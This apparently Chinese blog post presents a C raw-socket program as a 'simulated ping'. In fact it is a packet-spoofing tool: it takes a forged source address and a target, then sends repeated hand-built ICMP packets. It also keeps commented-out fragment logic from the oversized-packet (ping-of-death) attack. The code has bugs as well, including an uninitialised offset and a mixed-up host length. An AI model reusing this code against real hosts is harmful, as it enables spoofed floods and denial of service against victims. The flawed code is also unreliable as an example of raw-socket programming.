Linux 下C 网络编程之 socket RAW

模拟 Ping

//============================================================================
// Name        : raw_myping.cpp
// Author      : gaotong
// Version     :
// Copyright   : Your copyright notice
// Description : Hello World in C++, Ansi-style
//============================================================================

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
	int s, i;
	char buf[400];
	struct ip *ip = (struct ip *) buf;
	struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
	struct hostent *hp, *hp2;
	struct sockaddr_in dst;
	int offset;
	int on;
	int num = 100;

	if (argc < 3)
	{

		printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
		printf("- saddress is the spoofed source address\n");
		printf("- dstaddress is the target\n");
		printf("- number is the number of packets to send, 100 is the default\n");
		exit(1);
	}

	/* 如果输入的参数符合要求 */

	if (argc == 4)

		/* 给发送的包数量赋值 */

		num = atoi(argv[3]);

	/* Loop based on the packet number */

	for (i = 1; i <= num; i++)
	{
		printf("test\n");
		on = 1;
		bzero(buf, sizeof(buf));

		/* 创建 RAW socket */

		if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

			perror("socket() error");

			/* If something wrong, just exit */
			exit(1);
		}

		/* 使用socket options, 告诉系统 我们提供 IP structure */
		//Prototype: int setsockopt (int socket, int level, int optname, void *optval, socklen_t optlen)
		if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
		{
			perror("setsockopt() for IP_HDRINCL error");
			exit(1);
		}

		/* gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针。 */
		if ((hp = gethostbyname(argv[2])) == NULL) {
			if ((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1) {
				fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
				exit(1);
			}
		} else
			bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

		/* The following source address just redundant for target to collect */

		if ((hp2 = gethostbyname(argv[1])) == NULL)
		{
			if ((ip->ip_src.s_addr = inet_addr(argv[1])) == -1)
			{
				fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
				exit(1);
			}
		}
		else
			bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

		printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst),argv[1]);

		/* Ip structure, check the ip.h */

		ip->ip_v = 4;
		ip->ip_hl = sizeof *ip >> 2;
		ip->ip_tos = 0;
		ip->ip_len = htons(sizeof(buf));
		ip->ip_id = htons(4321);
		ip->ip_off = htons(0);
		ip->ip_ttl = 255;
		ip->ip_p = 1;
		ip->ip_sum = 0; /* Let kernel fills in */
		dst.sin_addr = ip->ip_dst;
		dst.sin_family = AF_INET;
		icmp->type = ICMP_ECHO;
		icmp->code = 0;

		/* Header checksum */
		icmp->checksum = htons(~(ICMP_ECHO << 8));
		//for (offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))
		//{
			ip->ip_off = htons(offset >> 3);
			if (offset < 65120)
				ip->ip_off |= htons(0x2000);
			else
				ip->ip_len = htons(418); /* make total 65538 */

			/* sending time */
			if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *) &dst,
					sizeof(dst)) < 0)
			{
				fprintf(stderr, "offset %d: ", offset);
				perror("sendto() error");
			}
			else
				printf("sendto() is OK.\n");

			/* IF offset = 0, define our ICMP structure */

			if (offset == 0)
			{
				icmp->type = 0;
				icmp->code = 0;
				icmp->checksum = 0;
			}
		//}

		/* close socket */
		close(s);
		usleep(30000);
	}

	return 0;

}